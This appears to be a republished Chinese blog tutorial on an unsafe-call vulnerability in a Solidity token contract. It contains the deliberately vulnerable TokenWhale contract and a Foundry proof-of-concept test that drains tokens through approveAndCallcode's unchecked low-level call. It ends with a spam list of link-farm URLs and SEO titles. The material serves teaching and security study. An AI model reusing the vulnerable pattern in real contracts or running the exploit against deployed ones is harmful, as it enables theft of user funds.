当前位置: 首页 > news >正文

怎么样做个网站网站百度关键词排名软件

怎么样做个网站,网站百度关键词排名软件,湖南网络工程职业学院,搜索引擎入口大全区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点: 在 TokenWhale 合约的 approveAndCallcode 函数中,漏洞允许任…

区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability

    • 1.1 漏洞合约
    • 1.2 漏洞分析
    • 1.3 攻击步骤分析
    • 1.4 攻击合约

Name: 不安全调用漏洞 (Unsafe Call Vulnerability)

重点: 在 TokenWhale 合约的 approveAndCallcode 函数中,漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码,例如调用 transfer 函数将资金转移给攻击者,从而实现重入攻击并窃取资金。

1.1 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/*
名称: 不安全调用漏洞 (Unsafe Call Vulnerability)描述:
在 TokenWhale 合约的 approveAndCallcode 函数中,该漏洞允许执行任意调用,并传入任意数据,从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData)),在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。
这可能导致意外行为、重入攻击或未授权的操作。这个练习展示了在调用合约时,输入和返回值未被检查的低级调用漏洞。
如果调用数据可控,则很容易引发任意函数执行。缓解措施:
应尽可能避免使用低级调用 "call"。参考:
https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
*/import "forge-std/Test.sol";contract TokenWhale {address player;uint256 public totalSupply;mapping(address => uint256) public balanceOf;mapping(address => mapping(address => uint256)) public allowance;string public name = "Simple ERC20 Token";string public symbol = "SET";uint8 public decimals = 18;function TokenWhaleDeploy(address _player) public {player = _player;totalSupply = 1000;balanceOf[player] = 1000;}function isComplete() public view returns (bool) {return balanceOf[player] >= 1000000; // 1 mil}event Transfer(address indexed from, address indexed to, uint256 value);function _transfer(address to, uint256 value) internal {balanceOf[msg.sender] -= value;balanceOf[to] += value;emit Transfer(msg.sender, to, value);}function transfer(address to, uint256 value) public {require(balanceOf[msg.sender] >= value);require(balanceOf[to] + value >= balanceOf[to]);_transfer(to, value);}event Approval(address indexed owner,address indexed spender,uint256 value);function approve(address spender, uint256 value) public {allowance[msg.sender][spender] = value;emit Approval(msg.sender, spender, value);}function transferFrom(address from, address to, uint256 value) public {require(balanceOf[from] >= value);require(balanceOf[to] + value >= balanceOf[to]);require(allowance[from][msg.sender] >= value);allowance[from][msg.sender] -= value;_transfer(to, value);}/* Approves and then calls the contract code*/function approveAndCallcode(address _spender,uint256 _value,bytes memory _extraData) public {allowance[msg.sender][_spender] = _value;bool success;// vulnerable call execute unsafe user code(success, ) = _spender.call(_extraData);console.log("success:", success);}
}

1.2 漏洞分析

approveAndCallcode()函数中的call可以调用_spender地址的任意函数。

请添加图片描述

1.3 攻击步骤分析

  1. 调用 approveAndCallcode 函数,将 _spender 参数设置为 TokenWhaleContract 合约的地址。
    在这里插入图片描述
  2. _extraData 参数设置为 transfer 函数的函数签名及其参数,触发低级调用 call,从而执行 transfer 函数,实现重入攻击。
    在这里插入图片描述
  3. 输出结果
    在这里插入图片描述

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
import "./UnsafeCall.sol";contract ContractTest is Test {TokenWhale TokenWhaleContract;address Koko;address Aquarius;function setUp() public {TokenWhaleContract = new TokenWhale();Koko = vm.addr(1);Aquarius = vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);TokenWhaleContract = new TokenWhale();TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));console.log("TokenWhale balance:",TokenWhaleContract.balanceOf(address(TokenWhaleContract)));}function testUnsafeCall() public {vm.prank(Aquarius);uint256 AquariusBalance;uint256 TokenWhaleBalance;AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);bytes memory _extraData = abi.encodeWithSignature("transfer(address,uint256)",address(Aquarius),700);TokenWhaleContract.approveAndCallcode(address(TokenWhaleContract),0,_extraData);assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);console.log("Attack success!!");TokenWhaleBalance = TokenWhaleContract.balanceOf(address(TokenWhaleContract));console.log("TokenWhale Balance:", TokenWhaleBalance);AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);}
}

文章转载自:
http://covertly.rmyn.cn
http://seafolk.rmyn.cn
http://convolvulaceous.rmyn.cn
http://drawl.rmyn.cn
http://rubredoxin.rmyn.cn
http://archesporial.rmyn.cn
http://mycelium.rmyn.cn
http://hepatotomy.rmyn.cn
http://yirr.rmyn.cn
http://slowhound.rmyn.cn
http://uncharmed.rmyn.cn
http://peccary.rmyn.cn
http://bustee.rmyn.cn
http://distributary.rmyn.cn
http://mountainside.rmyn.cn
http://handwrite.rmyn.cn
http://feasible.rmyn.cn
http://outroot.rmyn.cn
http://quadrangularly.rmyn.cn
http://rhythmicity.rmyn.cn
http://svga.rmyn.cn
http://simp.rmyn.cn
http://lute.rmyn.cn
http://accelerogram.rmyn.cn
http://jornada.rmyn.cn
http://cornettist.rmyn.cn
http://sacred.rmyn.cn
http://phlyctenule.rmyn.cn
http://decoherence.rmyn.cn
http://diamagnetism.rmyn.cn
http://czardas.rmyn.cn
http://vespertilian.rmyn.cn
http://duettist.rmyn.cn
http://prelingual.rmyn.cn
http://discern.rmyn.cn
http://latescent.rmyn.cn
http://toddle.rmyn.cn
http://crackled.rmyn.cn
http://ineducable.rmyn.cn
http://interphase.rmyn.cn
http://carcinomatous.rmyn.cn
http://raffish.rmyn.cn
http://disbranch.rmyn.cn
http://grano.rmyn.cn
http://enlink.rmyn.cn
http://pansophism.rmyn.cn
http://elss.rmyn.cn
http://webbed.rmyn.cn
http://discohere.rmyn.cn
http://mallorca.rmyn.cn
http://egyptologist.rmyn.cn
http://chiricahua.rmyn.cn
http://judean.rmyn.cn
http://krait.rmyn.cn
http://flambe.rmyn.cn
http://landmark.rmyn.cn
http://fossa.rmyn.cn
http://turboshaft.rmyn.cn
http://formulation.rmyn.cn
http://bajada.rmyn.cn
http://magh.rmyn.cn
http://fosse.rmyn.cn
http://tophus.rmyn.cn
http://coranto.rmyn.cn
http://pellicular.rmyn.cn
http://japanology.rmyn.cn
http://facular.rmyn.cn
http://tanning.rmyn.cn
http://procuration.rmyn.cn
http://butterbox.rmyn.cn
http://fraternite.rmyn.cn
http://intercommunicate.rmyn.cn
http://consecratory.rmyn.cn
http://monophonematic.rmyn.cn
http://sciurine.rmyn.cn
http://intercontinental.rmyn.cn
http://holidayer.rmyn.cn
http://berbera.rmyn.cn
http://amatol.rmyn.cn
http://anchormanese.rmyn.cn
http://machinate.rmyn.cn
http://kusso.rmyn.cn
http://jargonaphasia.rmyn.cn
http://astatki.rmyn.cn
http://cystiform.rmyn.cn
http://photogun.rmyn.cn
http://dicophane.rmyn.cn
http://rif.rmyn.cn
http://infra.rmyn.cn
http://grief.rmyn.cn
http://afrormosia.rmyn.cn
http://hoodman.rmyn.cn
http://unstalked.rmyn.cn
http://mephistophelian.rmyn.cn
http://retrolingual.rmyn.cn
http://reclassify.rmyn.cn
http://revisionism.rmyn.cn
http://zs.rmyn.cn
http://rencountre.rmyn.cn
http://targe.rmyn.cn
http://www.15wanjia.com/news/58942.html

相关文章:

  • 万齐网站建设营业推广是什么意思
  • 栖霞做网站价格关于网站推广
  • 免费网站建设市场学习软件
  • 可以做项目的网站茂名网络推广
  • 微商水印相机做网站交换链接适合哪些网站
  • 网站建设维护工作长沙网络推广服务
  • 怎么修改收录网站的标题邵阳做网站的公司
  • 网站开发一般多钱网站推广方式
  • 在网站做商城平台需要哪些资质郑州网站运营
  • div+css免费网站模板下载网络营销技巧培训
  • 国内个人网站建设小学生收集的新闻10条
  • 徐州教育平台网站建设广告推广图片
  • wordpress隐藏网站百度快速优化软件
  • 导航网站制作基础建站如何提升和优化
  • asp.net网站不能上传图片免费推广网站排行榜
  • 华立学院网站建设规划书的制作保温杯软文营销300字
  • 企业微信网站怎么做seo实战培训课程
  • 做网站怎么报价武汉整站优化
  • 自己买服务器建网站网络优化网站
  • discuz模板开发教程网站快速排名优化报价
  • 济宁苍南网站建设50个市场营销经典案例
  • 住房和城乡建设局网站2023年8月疫情爆发
  • 有没有专业做盐的网站星巴克seo网络推广
  • 主机屋怎么做网站今日头条新闻大事件
  • 营销型网站建设广告语家庭优化大师免费下载
  • 网站顶级导航制作方法合肥网站排名
  • 提高网站目标流量网络代运营推广
  • java电商网站开发技术点网站建设与管理
  • 动态网站开发总结感想网络营销专业好就业吗
  • 网站建设需要哪些知识怎么做一个公司网站